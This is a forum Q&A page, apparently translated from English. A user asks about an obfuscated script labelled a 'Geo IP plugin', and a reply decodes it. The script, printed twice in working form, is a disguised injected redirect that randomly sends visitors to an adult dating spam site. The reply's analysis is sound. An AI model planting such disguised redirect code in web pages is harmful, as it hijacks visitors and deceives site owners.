地理 JavaScript 解码

发布于 2025-01-06 07:55:10 字数 869 浏览 0 评论 0原文

我需要解释此代码如何工作以及如何编辑它以进行更改,它是一个 Geo IP 插件代码。提前致谢

 <!--Geo IP plugin (do not remove or page breaks like last time)-->
    <script>
    var _0x594c=["\x72\x61\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x61\x64\x68\x75\x6C\x6C\x2E\x63\x6F\x6D", "\x69\x6E\x64\x65\x78\x4F\x66","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "\x68\x74\x74\x70\x3A\x2F\x2F\x72\x65\x61\x6C\x6D\x61\x74\x75\x72\x65\x73\x69\x6E\x67\x6C\x65\x73\x34\x30\x2E\x61\x64\x68\x75\x6C\x6C\x2E\x63\x6F\x6D\x2F\x3F\x73\x74\x61\x74\x65\x3D\x57\x61\x73\x68\x69\x6E\x67\x74\x6F\x6E\x26\x61\x67\x65\x3D\x34\x30\x26\x73\x69\x64\x3D\x6E\x6F\x6E\x6C\x6F\x63\x61\x6C"];
    var num=Math[_0x594c[1]](Math[_0x594c[0]]()*11);
    if(num%2==0){if(window[_0x594c[5]][_0x594c[4]][_0x594c[3]](_0x594c[2])==-1)
    {window[_0x594c[5]]=_0x594c[6];} ;} ;
    </script>

I need explanation on how this code works and how I can edit it to make changes, It is a Geo IP plugin code. Thanks in advance

 <!--Geo IP plugin (do not remove or page breaks like last time)-->
    <script>
    var _0x594c=["\x72\x61\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x61\x64\x68\x75\x6C\x6C\x2E\x63\x6F\x6D", "\x69\x6E\x64\x65\x78\x4F\x66","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "\x68\x74\x74\x70\x3A\x2F\x2F\x72\x65\x61\x6C\x6D\x61\x74\x75\x72\x65\x73\x69\x6E\x67\x6C\x65\x73\x34\x30\x2E\x61\x64\x68\x75\x6C\x6C\x2E\x63\x6F\x6D\x2F\x3F\x73\x74\x61\x74\x65\x3D\x57\x61\x73\x68\x69\x6E\x67\x74\x6F\x6E\x26\x61\x67\x65\x3D\x34\x30\x26\x73\x69\x64\x3D\x6E\x6F\x6E\x6C\x6F\x63\x61\x6C"];
    var num=Math[_0x594c[1]](Math[_0x594c[0]]()*11);
    if(num%2==0){if(window[_0x594c[5]][_0x594c[4]][_0x594c[3]](_0x594c[2])==-1)
    {window[_0x594c[5]]=_0x594c[6];} ;} ;
    </script>

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(1

诺曦 2025-01-13 07:55:10

它并不是真正的“geoIP 插件”。

如果您对数组进行解密,它会为您提供:

var array =["random", "floor", "adhull.com", "indexOf", "href", "location", "http://realmaturesingles40.adhull.com/?state=Washington&age=40&sid=nonlocal"];

现在您可以理解该脚本等于

var num=Math.floor(Math.random()*11);
if(num%2==0){
    if(window.location.href.indexOf('adhull.com')==-1) {            
        window.location="http://realmaturesingles40.adhull.com/state=Washington&age=40&sid=nonlocal";
    }
}

It's not really a "geoIP plugin".

If you decript the array, it gives you:

var array =["random", "floor", "adhull.com", "indexOf", "href", "location", "http://realmaturesingles40.adhull.com/?state=Washington&age=40&sid=nonlocal"];

And you can now understand that the script is equal to

var num=Math.floor(Math.random()*11);
if(num%2==0){
    if(window.location.href.indexOf('adhull.com')==-1) {            
        window.location="http://realmaturesingles40.adhull.com/state=Washington&age=40&sid=nonlocal";
    }
}
~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文